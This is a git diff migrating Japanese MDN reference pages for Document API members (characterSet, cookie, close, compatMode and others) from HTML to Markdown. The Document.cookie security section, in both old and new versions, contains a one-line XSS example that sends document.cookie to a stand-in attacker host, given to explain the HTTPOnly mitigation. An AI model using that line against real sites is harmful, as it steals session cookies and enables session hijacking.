diff --git a/files/ja/web/api/document/characterset/index.md b/files/ja/web/api/document/characterset/index.md new file mode 100644 index 00000000000000..e761e466b35c10 --- /dev/null +++ b/files/ja/web/api/document/characterset/index.md @@ -0,0 +1,45 @@ +--- +title: Document.characterSet +slug: Web/API/Document/characterSet +tags: + - API + - DOM + - Document + - Property + - Read-only + - Reference +translation_of: Web/API/Document/characterSet +browser-compat: api.Document.characterSet +--- +{{ ApiRef("DOM") }} + +**`Document.characterSet`** プロパティは読み取り専用で、文書の[文字エンコーディング](/ja/docs/Glossary/character_encoding)を表す文字列を返します。 (文字エンコーディングは文字セットであり、入力されたバイト列をどのように文字として解釈するか規定します。) + +> **Note:** 「文字セット」と「文字エンコーディング」は似ていますが違うものです。プロパティ名に反してエンコーディングを返します。 + +ユーザーは、 [Content-Type](/ja/docs/Web/HTTP/Headers/Content-Type) ヘッダーの中や `` などのインラインで開発者が指定した文字エンコーディングを上書きできます。例えば Firefox では 表示 → テキストエンコーディング メニューから可能です。このような上書き手段は開発者が誤って指定したエンコーディングによって[文字化け](https://ja.wikipedia.org/wiki/%E6%96%87%E5%AD%97%E5%8C%96%E3%81%91)を引き起こされたときに直すために提供されています。 + +> **Note:** プロパティ `document.charset` および `document.inputEncoding` は、`document.characterSet` への古いエイリアスです。これらは使用しないでください。 + +## 構文 + +```js +var string = document.characterSet; +``` + +## 例 + +```html + + +``` + +## 仕様書 + +{{Specifications}} + +## ブラウザーの互換性 + +{{Compat}} diff --git a/files/ja/web/api/document/childelementcount/index.html b/files/ja/web/api/document/childelementcount/index.html deleted file mode 100644 index fcd6244dd002bb..00000000000000 --- a/files/ja/web/api/document/childelementcount/index.html +++ /dev/null @@ -1,46 +0,0 @@ ---- -title: Document.childElementCount -slug: Web/API/Document/childElementCount -tags: - - API - - DOM - - Property - - Reference -browser-compat: api.Document.childElementCount -translation_of: Web/API/Document/childElementCount ---- -
{{ APIRef("DOM") }}
- -

Document.childElementCount は読み取り専用のプロパティで、文書の子要素の数を返します。

- -

特定の要素の子要素の数を取得する場合は、 {{domxref("Element.childElementCount")}} を参照してください。

- -

構文

- -
document.childElementCount;
-
- -

- -
-document.children;
-// HTMLCollection で、ふつうは <html> 要素をこの文書の唯一の子として含んでいる
-
-document.childElementCount;
-// 1
-
- -

仕様書

- -{{Specifications}} - -

ブラウザーの互換性

- -

{{Compat}}

- -

関連情報

- - diff --git a/files/ja/web/api/document/childelementcount/index.md b/files/ja/web/api/document/childelementcount/index.md new file mode 100644 index 00000000000000..e6fa408a74af63 --- /dev/null +++ b/files/ja/web/api/document/childelementcount/index.md @@ -0,0 +1,45 @@ +--- +title: Document.childElementCount +slug: Web/API/Document/childElementCount +tags: + - API + - DOM + - Property + - Reference +translation_of: Web/API/Document/childElementCount +browser-compat: api.Document.childElementCount +--- +{{ APIRef("DOM") }} + +**`Document.childElementCount`** は読み取り専用のプロパティで、文書の子要素の数を返します。 + +特定の要素の子要素の数を取得する場合は、 {{domxref("Element.childElementCount")}} を参照してください。 + +## 構文 + +```js +document.childElementCount; +``` + +## 例 + +```js +document.children; +// HTMLCollection で、ふつうは 要素をこの文書の唯一の子として含んでいる + +document.childElementCount; +// 1 +``` + +## 仕様書 + +{{Specifications}} + +## ブラウザーの互換性 + +{{Compat}} + +## 関連情報 + +- {{domxref("Element.childElementCount")}} +- {{domxref("DocumentFragment.childElementCount")}} diff --git a/files/ja/web/api/document/clear/index.html b/files/ja/web/api/document/clear/index.html deleted file mode 100644 index 4f64a97a5d6733..00000000000000 --- a/files/ja/web/api/document/clear/index.html +++ /dev/null @@ -1,31 +0,0 @@ ---- -title: Document.clear() -slug: Web/API/Document/clear -tags: - - DOM - - DOM_0 - - Document - - Gecko - - HTML5 -translation_of: Web/API/Document/clear ---- -
{{APIRef("DOM")}}{{ Deprecated_header() }}
- -

Document.clear() メソッドは指定された文書全体を消去するもので、初期 (1.0 以前) の Mozilla アプリケーションにありました。

- -

近年のバージョンの Mozilla ベースアプリケーションでも、 Internet Explorer や Netscape 4 でも、このメソッドは何も行いません。

- -

構文

- -
document.clear();
-
- -

仕様書

- - - -

ブラウザーの対応

- -
{{Compat("api.Document.clear")}}
diff --git a/files/ja/web/api/document/clear/index.md b/files/ja/web/api/document/clear/index.md new file mode 100644 index 00000000000000..84db2fd66e250b --- /dev/null +++ b/files/ja/web/api/document/clear/index.md @@ -0,0 +1,30 @@ +--- +title: Document.clear() +slug: Web/API/Document/clear +tags: + - DOM + - DOM_0 + - Document + - Gecko + - HTML5 +translation_of: Web/API/Document/clear +--- +{{APIRef("DOM")}}{{ Deprecated_header() }} + +**`Document.clear()`** メソッドは指定された文書全体を消去するもので、初期 (1.0 以前) の Mozilla アプリケーションにありました。 + +近年のバージョンの Mozilla ベースアプリケーションでも、 Internet Explorer や Netscape 4 でも、このメソッドは何も行いません。 + +## 構文 + +``` +document.clear(); +``` + +## 仕様書 + +- [HTML5](http://www.whatwg.org/html/#dom-document-clear) + +## ブラウザーの互換性 + +{{Compat("api.Document.clear")}} diff --git a/files/ja/web/api/document/close/index.html b/files/ja/web/api/document/close/index.html deleted file mode 100644 index 927ae4335f9257..00000000000000 --- a/files/ja/web/api/document/close/index.html +++ /dev/null @@ -1,60 +0,0 @@ ---- -title: Document.close() -slug: Web/API/Document/close -tags: - - API - - Document - - HTML DOM - - Method - - Reference - - メソッド -translation_of: Web/API/Document/close ---- -
{{APIRef("DOM")}}
- -

Document.close() メソッドは、 {{domxref("Document.open()")}} で開かれた文書への書き込みを終了します。

- -

構文

- -
document.close();
-
- -

- -
// 書きこむ文書を開きます。
-document.open();
-
-// 文書の内容を書き込みます。
-document.write("<p>たったひとつの内容。</p>");
-
-// 文書を閉じます。
-document.close();
-
- -

仕様書

- - - - - - - - - - - - - - - - - - - - - -
仕様書状態備考
{{SpecName("HTML WHATWG", "#dom-document-close", "document.close()")}}{{Spec2("HTML WHATWG")}}
{{SpecName("DOM2 HTML", "html.html#ID-98948567", "document.close()")}}{{Spec2("DOM2 HTML")}}
- -

ブラウザーの対応

- -
{{Compat("api.Document.close")}}
diff --git a/files/ja/web/api/document/close/index.md b/files/ja/web/api/document/close/index.md new file mode 100644 index 00000000000000..b80ab0aabea44d --- /dev/null +++ b/files/ja/web/api/document/close/index.md @@ -0,0 +1,45 @@ +--- +title: Document.close() +slug: Web/API/Document/close +tags: + - API + - Document + - HTML DOM + - Method + - Reference + - メソッド +translation_of: Web/API/Document/close +--- +{{APIRef("DOM")}} + +**`Document.close()`** メソッドは、 {{domxref("Document.open()")}} で開かれた文書への書き込みを終了します。 + +## 構文 + +``` +document.close(); +``` + +## 例 + +``` +// 書きこむ文書を開きます。 +document.open(); + +// 文書の内容を書き込みます。 +document.write("

たったひとつの内容。

"); + +// 文書を閉じます。 +document.close(); +``` + +## 仕様書 + +| 仕様書 | 状態 | 備考 | +| -------------------------------------------------------------------------------------------- | -------------------------------- | ---- | +| {{SpecName("HTML WHATWG", "#dom-document-close", "document.close()")}} | {{Spec2("HTML WHATWG")}} | | +| {{SpecName("DOM2 HTML", "html.html#ID-98948567", "document.close()")}} | {{Spec2("DOM2 HTML")}} | | + +## ブラウザーの互換性 + +{{Compat("api.Document.close")}} diff --git a/files/ja/web/api/document/compatmode/index.html b/files/ja/web/api/document/compatmode/index.html deleted file mode 100644 index a5b34c85afb619..00000000000000 --- a/files/ja/web/api/document/compatmode/index.html +++ /dev/null @@ -1,62 +0,0 @@ ---- -title: Document.compatMode -slug: Web/API/Document/compatMode -tags: - - API - - DOM - - Document - - Property - - Reference -translation_of: Web/API/Document/compatMode ---- -
{{ ApiRef("DOM") }}
- -

Document.compatMode プロパティは、文書が Quirks モード (互換モード) か標準準拠モードのどちらで表示されているかを示します。

- -

構文

- -
const mode = document.compatMode
-
- -

- -

列挙値で、次の値を取ります。

- - - -
-

注: これらのモードはすべて標準で定義されましたので、より古い "standards" および "almost standards" の名前は無意味であり、もう標準では使用されません。

-
- -

- -
if (document.compatMode == "BackCompat") {
-  // 互換モード
-}
-
- -

仕様書

- - - - - - - - - - - - - - - - -
仕様書状態備考
{{SpecName('DOM WHATWG', '#dom-document-compatmode','compatMode')}}{{Spec2('DOM WHATWG')}}
- -

ブラウザーの互換性

- -

{{Compat("api.Document.compatMode")}}

diff --git a/files/ja/web/api/document/compatmode/index.md b/files/ja/web/api/document/compatmode/index.md new file mode 100644 index 00000000000000..a7b12288fb8c29 --- /dev/null +++ b/files/ja/web/api/document/compatmode/index.md @@ -0,0 +1,47 @@ +--- +title: Document.compatMode +slug: Web/API/Document/compatMode +tags: + - API + - DOM + - Document + - Property + - Reference +translation_of: Web/API/Document/compatMode +--- +{{ ApiRef("DOM") }} + +**`Document.compatMode`** プロパティは、文書が [Quirks モード](/ja/docs/Web/HTML/Quirks_Mode_and_Standards_Mode) (互換モード) か標準準拠モードのどちらで表示されているかを示します。 + +## 構文 + +``` +const mode = document.compatMode +``` + +### 値 + +列挙値で、次の値を取ります。 + +- "`BackCompat`" 文書が互換モードの場合。 +- "`CSS1Compat`" 文書が互換モードでない ("standards" モードとも呼ばれる) または限定互換モード ("almost standards" モードとも呼ばれる) 場合。 + +> **Note:** これらのモードはすべて標準で定義されましたので、より古い "standards" および "almost standards" の名前は無意味であり、もう標準では使用されません。 + +## 例 + +```js +if (document.compatMode == "BackCompat") { + // 互換モード +} +``` + +## 仕様書 + +| 仕様書 | 状態 | 備考 | +| ---------------------------------------------------------------------------------------- | -------------------------------- | ---- | +| {{SpecName('DOM WHATWG', '#dom-document-compatmode','compatMode')}} | {{Spec2('DOM WHATWG')}} | | + +## ブラウザーの互換性 + +{{Compat("api.Document.compatMode")}} diff --git a/files/ja/web/api/document/contenttype/index.html b/files/ja/web/api/document/contenttype/index.html deleted file mode 100644 index ab596b070d4d97..00000000000000 --- a/files/ja/web/api/document/contenttype/index.html +++ /dev/null @@ -1,54 +0,0 @@ ---- -title: Document.contentType -slug: Web/API/Document/contentType -tags: - - API - - DOM - - Document - - MIME - - Read-only - - Reference - - contentType - - プロパティ - - 読み取り専用 -translation_of: Web/API/Document/contentType ---- -
{{APIRef}}
- -

Document.contentType プロパティは読み取り専用で、文書がレンダリングされる MIME タイプを返します。これは HTTP ヘッダーやその他の MIME 情報のソースから来る可能性があり、ブラウザーや拡張機能によって行われる自動型変換の影響を受ける可能性があります。

- -
-

メモ: このプロパティは {{HTMLElement("meta")}} 要素には影響されません。

-
- -

構文

- -
contentType = document.contentType;
-
- -

- -

contentType は読み取り専用のプロパティです。

- -

仕様書

- - - - - - - - - - - - - - - - -
仕様書状態備考
{{SpecName('DOM WHATWG', '#dom-document-contenttype', 'Document.contentType')}}{{Spec2('DOM WHATWG')}}初回定義
- -

ブラウザーの対応

- -
{{Compat("api.Document.contentType")}}
diff --git a/files/ja/web/api/document/contenttype/index.md b/files/ja/web/api/document/contenttype/index.md new file mode 100644 index 00000000000000..ca1d9d64955acf --- /dev/null +++ b/files/ja/web/api/document/contenttype/index.md @@ -0,0 +1,40 @@ +--- +title: Document.contentType +slug: Web/API/Document/contentType +tags: + - API + - DOM + - Document + - MIME + - Read-only + - Reference + - contentType + - プロパティ + - 読み取り専用 +translation_of: Web/API/Document/contentType +--- +{{APIRef}} + +**`Document.contentType`** プロパティは読み取り専用で、文書がレンダリングされる MIME タイプを返します。これは HTTP ヘッダーやその他の MIME 情報のソースから来る可能性があり、ブラウザーや拡張機能によって行われる自動型変換の影響を受ける可能性があります。 + +> **Note:** このプロパティは {{HTMLElement("meta")}} 要素には影響されません。 + +## 構文 + +``` +contentType = document.contentType; +``` + +### 値 + +`contentType` は読み取り専用のプロパティです。 + +## 仕様書 + +| 仕様書 | 状態 | 備考 | +| -------------------------------------------------------------------------------------------------------- | -------------------------------- | -------- | +| {{SpecName('DOM WHATWG', '#dom-document-contenttype', 'Document.contentType')}} | {{Spec2('DOM WHATWG')}} | 初回定義 | + +## ブラウザーの互換性 + +{{Compat("api.Document.contentType")}} diff --git a/files/ja/web/api/document/cookie/index.html b/files/ja/web/api/document/cookie/index.html deleted file mode 100644 index a1c29ae883d174..00000000000000 --- a/files/ja/web/api/document/cookie/index.html +++ /dev/null @@ -1,249 +0,0 @@ ---- -title: Document.cookie -slug: Web/API/Document/cookie -tags: - - API - - Document - - HTML DOM - - JS - - Reference - - cookie - - クッキー - - ストレージ -translation_of: Web/API/Document/cookie ---- -
{{APIRef("DOM")}}
- -

{{domxref("Document")}} の cookie プロパティで、文書に関連付けられたクッキーを読み書きすることができます。これは実際のクッキーの値に対するゲッターとセッターとして動作します。

- -

構文

- -

この場所からアクセスできるすべてのクッキーを読む

- -
allCookies = document.cookie;
- -

上記のコードで allCookies は、セミコロンで区切られたクッキーのリストです (つまり key=value のペア)。なお、それぞれの key および value の周囲にはホワイトスペース (空白やタブ文字) をおくことができます。実際のところ、 {{RFC(6265)}} ではそれぞれのセミコロンの後に空白1文字を入れることを必須としていますが、一部のユーザーエージェントはこれに従っていません。

- - - - - -

上記のコードで、 newCookiekey=value の形式の文字列です。なお、この方法を使用して一度に設定・更新できるクッキーは、一つだけです。

- - - -
メモ: 上記のコードに見られるように、 document.cookie はネイティブのセッター及びゲッターを持つアクセサープロパティであり、値を持つ データプロパティではありません。書き込んだものと読みこんだものは同じにはならず、常に JavaScript インタープリターに仲介されます。
- -

- -

例 1: 単純な使用方法

- -
document.cookie = "name=oeschger";
-document.cookie = "favorite_food=tripe";
-function alertCookie() {
-  alert(document.cookie);
-}
-
- -
<button onclick="alertCookie()">Show cookies</button>
-
- -

{{EmbedLiveSample('Example_1_Simple_usage', 200, 36)}}

- - - -
document.cookie = "test1=Hello";
-document.cookie = "test2=World";
-
-const cookieValue = document.cookie
-  .split('; ')
-  .find(row => row.startsWith('test2'))
-  .split('=')[1];
-
-function alertCookieValue() {
-  alert(cookieValue);
-}
-
- -
<button onclick="alertCookieValue()">Show cookie value</button>
- -

{{EmbedLiveSample('Example_2_Get_a_sample_cookie_named_test2', 200, 36)}}

- -

例 3: 一度だけ何かを行う

- -

以下のコードを使用するためには、すべての doSomethingOnlyOnce の語 (クッキーの名前) が現れるところを専用の名前に置き換えてください。

- -
function doOnce() {
-  if (document.cookie.replace(/(?:(?:^|.*;\s*)doSomethingOnlyOnce\s*\=\s*([^;]*).*$)|^.*$/, "$1") !== "true") {
-    alert("Do something here!");
-    document.cookie = "doSomethingOnlyOnce=true; expires=Fri, 31 Dec 9999 23:59:59 GMT";
-  }
-}
- -
<button onclick="doOnce()">Only do something once</button>
- -

{{EmbedLiveSample('Example_3_Do_something_only_once', 200, 36)}}

- - - -
function resetOnce() {
-  document.cookie = "doSomethingOnlyOnce=; expires=Thu, 01 Jan 1970 00:00:00 GMT";
-}
- -
<button onclick="resetOnce()">Reset only once cookie</button>
- -

{{EmbedLiveSample('Example_4_Reset_the_previous_cookie', 200, 36)}}

- - - -
//ES5
-
-if (document.cookie.split(';').some(function(item) {
-    return item.trim().indexOf('reader=') == 0
-})) {
-    console.log('The cookie "reader" exists (ES5)')
-}
-
-//ES2016
-
-if (document.cookie.split(';').some((item) => item.trim().startsWith('reader='))) {
-    console.log('The cookie "reader" exists (ES6)')
-}
-
- - - -
//ES5
-
-if (document.cookie.split(';').some(function(item) {
-    return item.indexOf('reader=1') >= 0
-})) {
-    console.log('The cookie "reader" has "1" for value')
-}
-
-//ES2016
-
-if (document.cookie.split(';').some((item) => item.includes('reader=1'))) {
-    console.log('The cookie "reader" has "1" for value')
-}
-
- -

セキュリティ

- -

path 属性は、異なるパスによる認証されていないクッキーの読み込みから守ってくれないということに注意することが重要です。これはシンプルな DOM で簡単にバイパスできます (たとえば、クッキーのパスとともに隠し {{HTMLElement("iframe")}} 要素を生成して、この iframe の contentDocument.cookie プロパティにアクセスします)。クッキーのアクセスを守る唯一の方法は、異なるドメインやサブドメインを使うことで、同一オリジンポリシーを適用することです。

- -

クッキーは普段、ウェブアプリケーションでユーザーと認証されたセッションを識別するために使われます。そこで、ウェブアプリケーションからのクッキーを盗まれると、認証されたユーザーのセッションハイジャックにつながります。クッキーを盗むための一般的な方法は、ソーシャルエンジニアリングを使用するか、アプリケーション内の XSS 脆弱性の悪用です。

- -
(new Image()).src = "http://www.evil-domain.com/steal-cookie.php?cookie=" + document.cookie;
-
- -

HTTPOnly クッキー属性は、 JavaScript からのクッキー値へのアクセスを防止することで、この攻撃を軽減することに役立ちます。より詳細情報は Cookies and Security を見てください。

- -

メモ

- - - -

document.cookie アクセサープロパティの構文は、クッキーのクライアント・サーバー型の性質によるもので、他のクライアント・クライアントストレージメソッド (例えば localStorage など) とは異なります。

- - - -
HTTP/1.0 200 OK
-Content-type: text/html
-Set-Cookie: cookie_name1=cookie_value1
-Set-Cookie: cookie_name2=cookie_value2; expires=Sun, 16 Jul 3567 06:23:41 GMT
-
-[content of the page here]
- -

クライアントが以前格納されたクッキーをサーバーに送り返す

- -
GET /sample_page.html HTTP/1.1
-Host: www.example.org
-Cookie: cookie_name1=cookie_value1; cookie_name2=cookie_value2
-Accept: */*
-
- -

仕様書

- - - - - - - - - - - - - - - - - - - - - -
仕様書状態備考
{{SpecName("DOM2 HTML", "html.html#ID-8747038", "Document.cookie")}}{{Spec2("DOM2 HTML")}}初回定義
{{SpecName("Cookie Prefixes")}}{{Spec2("Cookie Prefixes")}}
- -

ブラウザーの互換性

- -

{{Compat("api.Document.cookie")}}

- -

関連情報

- - diff --git a/files/ja/web/api/document/cookie/index.md b/files/ja/web/api/document/cookie/index.md new file mode 100644 index 00000000000000..77a725fe6878d4 --- /dev/null +++ b/files/ja/web/api/document/cookie/index.md @@ -0,0 +1,241 @@ +--- +title: Document.cookie +slug: Web/API/Document/cookie +tags: + - API + - Document + - HTML DOM + - JS + - Reference + - cookie + - クッキー + - ストレージ +translation_of: Web/API/Document/cookie +--- +{{APIRef("DOM")}} + +{{domxref("Document")}} の `cookie` プロパティで、文書に関連付けられた[クッキー](/ja/docs/Web/HTTP/Cookies)を読み書きすることができます。これは実際のクッキーの値に対するゲッターとセッターとして動作します。 + +## 構文 + +### この場所からアクセスできるすべてのクッキーを読む + +``` +allCookies = document.cookie; +``` + +上記のコードで `allCookies` は、セミコロンで区切られたクッキーのリストです (つまり `key=value` のペア)。なお、それぞれの `key` および `value` の周囲にはホワイトスペース (空白やタブ文字) をおくことができます。実際のところ、 {{RFC(6265)}} ではそれぞれのセミコロンの後に空白 1 文字を入れることを必須としていますが、一部のユーザーエージェントはこれに従っていません。 + +### 新しいクッキーを書き込む + +``` +document.cookie = newCookie; +``` + +上記のコードで、 `newCookie` は `key=value` の形式の文字列です。なお、この方法を使用して一度に設定・更新できるクッキーは、一つだけです。 + +- オプションとして次に挙げる値を設定することができます。 key と value のペアの後にセミコロンで区切って設定することで、クッキーを設定・更新することができます。 + + - `;path=パス` (例えば、 '`/`' 、 '`/mydir`') 指定されない場合は、既定で現在の文書の位置のパスになります。 + + > **Note:** {{Gecko("6.0")}} 以前では、引用符付きのパスは引用符が文字列を囲む区切り文字ではなく、文字列の一部であるかのように扱われます。これはすでに修正されています。 + + - `;domain=ドメイン` (例えば、 '`example.com`' または '`subdomain.example.com`')。指定されていない場合は、既定で現在の文書の位置のホストの部分になります。初期の仕様とは対照的に、ドメイン名の前のドットは無視されますが、ブラウザーはその様なドットを含むクッキーの設定を辞退することができます。ドメインが設定されれば、サブドメインも常に含まれます。 + + > **Note:** ドメインは JavaScript のオリジンと一致している*必要があります*。外部ドメインへのクッキーの設定は暗黙に無視されます。 + + - `;max-age=寿命 (秒数)` (例えば、1 年であれば `60*60*24*365` または 31536000) + - `;expires=GMTString 形式の日付` もし `expires` も `max-age` も指定しなければ、有効期限はセッションの終了までになります。 + + > **Warning:** ユーザーのプライバシーを考慮するのであれば、ブラウザーの有効期限の管理に頼るのではなく、ウェブアプリの実装で指定した期間の経過後にクッキーを無効化することが重要です。多くのブラウザーはユーザーがクッキーを無期限に設定することができますが、これは安全ではありません。 + + - 値の形式について知りたい方は、 {{jsxref("Date.toUTCString()")}} をご覧ください。 + + - `;secure` https の通信を使用しているときだけ、クッキーが送信されます。 Chrome 52 以前では、このフラグは http ドメインからのクッキーに設定することができました。 + - `;samesite` [SameSite](/ja/docs/Web/HTTP/Cookies#SameSite_cookies) はブラウザーがこのクッキーをサイト間リクエストで送信することを防ぎます。フラグに利用可能な値は `lax` または `strict` です。 + + - `strict` の値は、通常のリンクを追う場合を含め、ブラウザーがすべてのサイト間閲覧コンテキストの対象サイトに向けてクッキーを送信することを防ぎます。 + - `lax` の値は、トップレベルナビゲーションで GET リクエストの場合のみ、クッキーを送信します。これはユーザーのトラッキングに効率的でありながら、多くの CSRF 攻撃を防ぐことができます。 + +- クッキーの値の文字列に {{jsxref("Global_Objects/encodeURIComponent", "encodeURIComponent()")}} を使用すると、文字列に (クッキーの値で許可されない) コンマ、セミコロン、ホワイトスペースを使用していないことを確認できます。 +- ユーザーエージェントの実装によっては、以下のクッキーの接頭辞に対応しています。 + + - `__Secure-` ブラウザーに、セキュアなチャネルを通してリクエストが送信された場合にのみクッキーを含めるよう指示します。 + - `__Host-` ブラウザーに、安全なオリジンからのクッキーのみを使用することに加え、クッキーのスコープをサーバーから渡された path 属性に限定します。サーバーが path 属性を省略した場合は、要求の URI の「ディレクトリ」が使用されます。これは、クッキーが他のドメインに送出されることを防ぐために、 domain 属性が存在してはいけないことも指示します。 Chrome では、 path 属性は常にオリジンになります。 + + > **Note:** ダッシュは接頭辞の一部とみなされます。 + + > **Note:** これらのフラグは `secure` 属性と一緒の場合のみ設定できます。 + +> **Note:** 上記のコードに見られるように、 `document.cookie` はネイティブの*セッター*及び*ゲッター*を持つ[アクセサープロパティ](/ja/docs/Web/JavaScript/Reference/Global_Objects/Object/defineProperty#Description)であり、値を持つ [データプロパティ](/ja/docs/Web/JavaScript/Reference/Global_Objects/Object/defineProperty#Description)では*ありません*。書き込んだものと読みこんだものは同じにはならず、常に JavaScript インタープリターに仲介されます。 + +## 例 + +### 例 1: 単純な使用方法 + +```js +document.cookie = "name=oeschger"; +document.cookie = "favorite_food=tripe"; +function alertCookie() { + alert(document.cookie); +} +``` + +```html + +``` + +{{EmbedLiveSample('Example_1_Simple_usage', 200, 36)}} + +### 例 2: _test2_ という名前のサンプルクッキーを取得 + +```js +document.cookie = "test1=Hello"; +document.cookie = "test2=World"; + +const cookieValue = document.cookie + .split('; ') + .find(row => row.startsWith('test2')) + .split('=')[1]; + +function alertCookieValue() { + alert(cookieValue); +} +``` + +```html + +``` + +{{EmbedLiveSample('Example_2_Get_a_sample_cookie_named_test2', 200, 36)}} + +### 例 3: 一度だけ何かを行う + +以下のコードを使用するためには、すべての `doSomethingOnlyOnce` の語 (クッキーの名前) が現れるところを専用の名前に置き換えてください。 + +```js +function doOnce() { + if (document.cookie.replace(/(?:(?:^|.*;\s*)doSomethingOnlyOnce\s*\=\s*([^;]*).*$)|^.*$/, "$1") !== "true") { + alert("Do something here!"); + document.cookie = "doSomethingOnlyOnce=true; expires=Fri, 31 Dec 9999 23:59:59 GMT"; + } +} +``` + +```html + +``` + +{{EmbedLiveSample('Example_3_Do_something_only_once', 200, 36)}} + +### 例 4: 前回のクッキーをリセット + +```js +function resetOnce() { + document.cookie = "doSomethingOnlyOnce=; expires=Thu, 01 Jan 1970 00:00:00 GMT"; +} +``` + +```html + +``` + +{{EmbedLiveSample('Example_4_Reset_the_previous_cookie', 200, 36)}} + +### 例 5: クッキーの存在をチェック + +```js +//ES5 + +if (document.cookie.split(';').some(function(item) { + return item.trim().indexOf('reader=') == 0 +})) { + console.log('The cookie "reader" exists (ES5)') +} + +//ES2016 + +if (document.cookie.split(';').some((item) => item.trim().startsWith('reader='))) { + console.log('The cookie "reader" exists (ES6)') +} +``` + +### 例 6: クッキーが特定の値を持っていることをチェック + +```js +//ES5 + +if (document.cookie.split(';').some(function(item) { + return item.indexOf('reader=1') >= 0 +})) { + console.log('The cookie "reader" has "1" for value') +} + +//ES2016 + +if (document.cookie.split(';').some((item) => item.includes('reader=1'))) { + console.log('The cookie "reader" has "1" for value') +} +``` + +## セキュリティ + +`path` 属性は、異なるパスによる認証されていないクッキーの読み込みから守ってくれ*ない*ということに注意することが重要です。これはシンプルな DOM で簡単にバイパスできます (たとえば、クッキーのパスとともに隠し {{HTMLElement("iframe")}} 要素を生成して、この iframe の `contentDocument.cookie` プロパティにアクセスします)。クッキーのアクセスを守る唯一の方法は、異なるドメインやサブドメインを使うことで、[同一オリジンポリシー](/ja/docs/Same_origin_policy_for_JavaScript)を適用することです。 + +クッキーは普段、ウェブアプリケーションでユーザーと認証されたセッションを識別するために使われます。そこで、ウェブアプリケーションからのクッキーを盗まれると、認証されたユーザーのセッションハイジャックにつながります。クッキーを盗むための一般的な方法は、ソーシャルエンジニアリングを使用するか、アプリケーション内の XSS 脆弱性の悪用です。 + +```js +(new Image()).src = "http://www.evil-domain.com/steal-cookie.php?cookie=" + document.cookie; +``` + +`HTTPOnly` クッキー属性は、 JavaScript からのクッキー値へのアクセスを防止することで、この攻撃を軽減することに役立ちます。より詳細情報は [Cookies and Security](http://www.nczonline.net/blog/2009/05/12/cookies-and-security/) を見てください。 + +## メモ + +- Firefox 2 から、より良いクライアント側ストレージの機構を利用できます。 - [WHATWG DOM ストレージ](/ja/docs/DOM/Storage)です。 +- 有効期限を 0 に更新するだけで、クッキーを削除できます。 +- クッキーを持てば持つほど、サーバとクライアント間の通信で、より多くのデータが送信されることを忘れないでください。これはリクエストを遅くします。もし、クライアントだけにデータを持たせ続けたいなら、 [WHATWG DOM ストレージ](/ja/docs/DOM/Storage) を使うことを強くお勧めします。 +- [RFC 2965](http://www.ietf.org/rfc/rfc2965.txt) (5.3 章, "Implementation Limits") は、クッキーのキーまたは値の長さについて**最大長を設けない**よう指定しており、 **arbitrarily large cookies** への対応を実装するよう勧めています。各ブラウザーの実装では最大値は異なっている可能性があるので、それぞれのブラウザーのドキュメントを参照してください。 + +`document.cookie` アクセサープロパティの[構文](#Syntax)は、クッキーのクライアント・サーバー型の性質によるもので、他のクライアント・クライアントストレージメソッド (例えば [localStorage](/ja/docs/Web/Guide/API/DOM/Storage) など) とは異なります。 + +#### サーバーがクライアントにクッキーを格納するよう指示する + +``` +HTTP/1.0 200 OK +Content-type: text/html +Set-Cookie: cookie_name1=cookie_value1 +Set-Cookie: cookie_name2=cookie_value2; expires=Sun, 16 Jul 3567 06:23:41 GMT + +[content of the page here] +``` + +#### クライアントが以前格納されたクッキーをサーバーに送り返す + +``` +GET /sample_page.html HTTP/1.1 +Host: www.example.org +Cookie: cookie_name1=cookie_value1; cookie_name2=cookie_value2 +Accept: */* +``` + +## 仕様書 + +| 仕様書 | 状態 | 備考 | +| -------------------------------------------------------------------------------------------- | ------------------------------------ | -------- | +| {{SpecName("DOM2 HTML", "html.html#ID-8747038", "Document.cookie")}} | {{Spec2("DOM2 HTML")}} | 初回定義 | +| {{SpecName("Cookie Prefixes")}} | {{Spec2("Cookie Prefixes")}} | | + +## ブラウザーの互換性 + +{{Compat("api.Document.cookie")}} + +## 関連情報 + +- [HTTP Cookie](/ja/docs/Web/HTTP/Cookies) +- [DOM ストレージ](/ja/docs/Web/Guide/API/DOM/Storage) +- [`URLUtils.pathname`](/ja/docs/Web/API/URLUtils.pathname) +- {{jsxref("Date.toUTCString()")}} +- [`HTTP`](/ja/docs/Web/HTTP) +- [Cookie (コードスニペット)](/ja/docs/Code_snippets/Cookies) +- [RFC 2965](https://tools.ietf.org/html/rfc2965) diff --git a/files/ja/web/api/document/copy_event/index.html b/files/ja/web/api/document/copy_event/index.html deleted file mode 100644 index 00c2a97df8d736..00000000000000 --- a/files/ja/web/api/document/copy_event/index.html +++ /dev/null @@ -1,74 +0,0 @@ ---- -title: 'Document: copy イベント' -slug: Web/API/Document/copy_event -tags: - - API - - Clipboard API - - Document - - Event - - Reference - - Web - - copy -translation_of: Web/API/Document/copy_event ---- -
{{APIRef}}
- -

copy イベントは、ユーザーがブラウザーのユーザーインターフェイスからコピー操作を実行したときに発生します。

- - - - - - - - - - - - - - - - - - - - -
バブリングあり
キャンセル
インターフェイス{{domxref("ClipboardEvent")}}
イベントハンドラープロパティ{{domxref("HTMLElement/oncopy", "oncopy")}}
- -

このイベントの本来の対象は、コピー操作の意図の対象である {{domxref("Element")}} です。このイベントを {{domxref("Document")}} インターフェイス上で待ち受けし、キャプチャやバブリングの局面で処理することができます。このイベントの局面について完全な詳細は、 Element: copy イベントを参照してください。

- -

- -
document.addEventListener('copy', (event) => {
-    console.log('copy action initiated')
-});
- -

仕様書

- - - - - - - - - - - - - - -
仕様書状態
{{SpecName('Clipboard API', '#clipboard-event-copy')}}{{Spec2('Clipboard API')}}
- -

ブラウザーの互換性

- -

{{Compat("api.Document.copy_event")}}

- -

関連情報

- - diff --git a/files/ja/web/api/document/copy_event/index.md b/files/ja/web/api/document/copy_event/index.md new file mode 100644 index 00000000000000..c1b9184de84d3a --- /dev/null +++ b/files/ja/web/api/document/copy_event/index.md @@ -0,0 +1,63 @@ +--- +title: 'Document: copy イベント' +slug: Web/API/Document/copy_event +tags: + - API + - Clipboard API + - Document + - Event + - Reference + - Web + - copy +translation_of: Web/API/Document/copy_event +--- +{{APIRef}} + +**`copy`** イベントは、ユーザーがブラウザーのユーザーインターフェイスからコピー操作を実行したときに発生します。 + + + + + + + + + + + + + + + + + + + + +
バブリングあり
キャンセル
インターフェイス{{domxref("ClipboardEvent")}}
イベントハンドラープロパティ{{domxref("HTMLElement/oncopy", "oncopy")}}
